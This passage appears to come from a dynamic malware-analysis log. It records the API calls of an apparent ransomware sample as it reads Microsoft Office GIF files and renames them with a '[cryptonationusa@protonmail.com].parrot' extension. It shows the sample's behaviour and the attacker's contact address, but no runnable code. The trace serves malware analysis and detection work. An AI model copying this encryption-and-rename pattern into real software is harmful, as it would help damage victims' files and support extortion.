dwFlags=0x2) returned 1 [0178.069] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.069] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.070] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.070] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd1ac, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xd1ac, lpOverlapped=0x0) returned 1 [0178.072] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.072] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir37f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir37f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.077] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.077] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.079] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.079] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcbc3, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xcbc3, lpOverlapped=0x0) returned 1 [0178.080] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.081] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir38f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir38f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.086] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.086] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.087] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.087] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdc9a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xdc9a, lpOverlapped=0x0) returned 1 [0178.088] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.089] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir39f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR39F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir39f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.094] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.094] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.214] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.214] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3a1e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3a1e, lpOverlapped=0x0) returned 1 [0178.215] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.216] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir3b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir3b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.221] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.221] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.223] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.223] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x58e2, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x58e2, lpOverlapped=0x0) returned 1 [0178.224] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.225] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir3f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR3F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir3f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.229] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.229] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.230] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.231] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x112a3, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x112a3, lpOverlapped=0x0) returned 1 [0178.233] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.234] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir40f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR40F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir40f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.238] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.238] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.240] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.240] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9a60, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x9a60, lpOverlapped=0x0) returned 1 [0178.244] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.245] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir41f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR41F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir41f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.288] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.288] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.290] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.290] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe591, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xe591, lpOverlapped=0x0) returned 1 [0178.292] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.293] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir42f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR42F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir42f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.298] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.298] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.299] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.299] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x98a, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x98a, lpOverlapped=0x0) returned 1 [0178.300] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.300] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir43b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir43b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.305] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.305] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.306] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.306] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x997, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x997, lpOverlapped=0x0) returned 1 [0178.307] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.307] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir43f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR43F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir43f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.311] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.311] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.313] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.313] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b06, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1b06, lpOverlapped=0x0) returned 1 [0178.314] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.314] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir44b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir44b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.320] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.320] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.321] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.321] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a76, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1a76, lpOverlapped=0x0) returned 1 [0178.322] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.322] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir44f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR44F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir44f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.327] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.327] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.335] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.335] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17bb, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x17bb, lpOverlapped=0x0) returned 1 [0178.336] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.337] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir45b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir45b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.341] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.342] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.343] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.343] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16eb, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x16eb, lpOverlapped=0x0) returned 1 [0178.344] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.344] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir45f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR45F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir45f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.349] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.349] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.350] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.351] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1304, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1304, lpOverlapped=0x0) returned 1 [0178.351] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.352] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir46b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir46b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.356] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.356] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.358] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.358] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x141c, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x141c, lpOverlapped=0x0) returned 1 [0178.358] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.359] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir46f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR46F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir46f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.363] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.363] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.364] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.364] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7517, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x7517, lpOverlapped=0x0) returned 1 [0178.366] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.366] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir47b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR47B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir47b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.370] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.370] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.372] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.372] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x539e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x539e, 